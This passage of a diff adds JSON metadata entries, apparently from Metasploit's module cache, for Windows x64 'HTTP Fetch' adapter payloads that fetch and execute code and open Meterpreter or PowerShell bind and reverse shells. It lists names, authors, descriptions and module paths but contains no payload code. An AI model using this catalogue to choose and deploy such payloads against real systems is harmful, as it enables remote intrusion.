"disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_named_pipe" + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp" + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_tcp_rc4": { + "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_rc4" + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_tcp_uuid": { + "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_uuid" + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_winhttp": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttp" + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_winhttps": { + "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttps" + }, + "payload_cmd/windows/http/x64/meterpreter_bind_named_pipe": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter_bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "UserExistsError", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter_bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_bind_named_pipe", + "staged": false + }, + "payload_cmd/windows/http/x64/meterpreter_bind_tcp": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_bind_tcp", + "staged": false + }, + "payload_cmd/windows/http/x64/meterpreter_reverse_http": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_http", + "staged": false + }, + "payload_cmd/windows/http/x64/meterpreter_reverse_https": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_https", + "staged": false + }, + "payload_cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_ipv6_tcp", + "staged": false + }, + "payload_cmd/windows/http/x64/meterpreter_reverse_tcp": { + "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", + "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_tcp", + "staged": false + }, + "payload_cmd/windows/http/x64/peinject/bind_ipv6_tcp": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" + }, + "payload_cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/http/x64/peinject/bind_named_pipe": { + "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_named_pipe" + }, + "payload_cmd/windows/http/x64/peinject/bind_tcp": { + "name": "HTTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp" + }, + "payload_cmd/windows/http/x64/peinject/bind_tcp_rc4": { + "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_rc4" + }, + "payload_cmd/windows/http/x64/peinject/bind_tcp_uuid": { + "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/http/x64/peinject/reverse_named_pipe": { + "name": "HTTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/http/x64/peinject/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_named_pipe" + }, + "payload_cmd/windows/http/x64/peinject/reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp" + }, + "payload_cmd/windows/http/x64/peinject/reverse_tcp_rc4": { + "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" + }, + "payload_cmd/windows/http/x64/peinject/reverse_tcp_uuid": { + "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" + }, + "payload_cmd/windows/http/x64/pingback_reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/windows/http/x64/pingback_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and report UUID (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/pingback_reverse_tcp", + "staged": false + }, + "payload_cmd/windows/http/x64/powershell_bind_tcp": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/windows/http/x64/powershell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/powershell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/powershell_bind_tcp", + "staged": false + }, + "payload_cmd/windows/http/x64/powershell_reverse_tcp": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/windows/http/x64/powershell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/powershell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp", + "staged": false + }, + "payload_cmd/windows/http/x64/powershell_reverse_tcp_ssl": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/windows/http/x64/powershell_reverse_tcp_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/powershell_reverse_tcp_ssl", + "check": false, + 